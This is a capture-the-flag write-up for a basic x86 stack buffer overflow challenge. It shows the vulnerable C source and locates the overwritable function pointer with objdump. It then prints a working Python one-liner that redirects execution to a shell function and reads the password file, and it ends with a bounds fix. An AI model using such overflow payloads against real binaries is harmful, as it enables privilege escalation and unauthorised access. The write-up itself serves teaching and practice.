ELF x86 - Stack buffer overflow basic 2

Abdoulkader MOUSSA MOHAMED

February 2023

1 Search vulnerability

Let's firstly read the source code of our program.

```c
..

void shell() {
    setreuid(geteuid(), geteuid());
    system("/bin/bash");
}

void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}

void main()
{
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}
```

We notice that :

∗ *fgets* reads 133 characters from stdin and put it in **buf** while **buf** size is 128. So this is vulnerable to **buffer overflow** attack.

* As we have a stack, the overflow on **buf** can change the value of **func** pointer.

* As we can do some buffer overflow exploitation, our goal is that **func** points on **shell** rather than **sup**.

Let's draw the stack. Using **objdump -d program**, in assembly code of main, we can see :

```
mov    %edx,-0xc(%ebp)      // ebp-0xc is the offset of 'func'
..
lea    -0x8c(%ebp),%edx    // ebp-0x8c is the offset of 'buf'
```

So the stack looks like :

```
Highest Address
-----------------    ebp
...
-----------------
| func  (8 bytes)|
-----------------    ebp - 0xc
| buf (128 bytes)|
-----------------    ebp - 0x8c
Lowest Address
```

Finally, we must know the address of the function **shell** that we want to call.

```
$ objdump -d ./ch15 |grep "shell"
08048516 <shell>:
```

So, the address of **shell** is **0x08048516**.

2 Exploit it !

Before that we start to exploit the vulnerabilty, we know that

* we are in an little endian architecture.
* we must use **cat** command that keeps stdin open to avoid that the shell open then close.

Now that we are ready, let's go.

```
$ (python -c 'print("A"*128 + "\x16\x85\x04\x08")'; cat ) |./ch15
ls -a
.  ..  ch15  ch15.c  .git  Makefile  .passwd  ._perms
cat .passwd
flagflagflagflagflag
```

Bingo !

3 How to correct it

To avoid this kind of vulnerability, we just have to make sure that we never write data in a buffer more than his capacity. Here is a fix of the program :

```c
#define BUFFER_SIZE 128
..
void main()
{
    ..
    char buf[BUFFER_SIZE];
    fgets(buf,BUFFER_SIZE,stdin);
    ..
}
```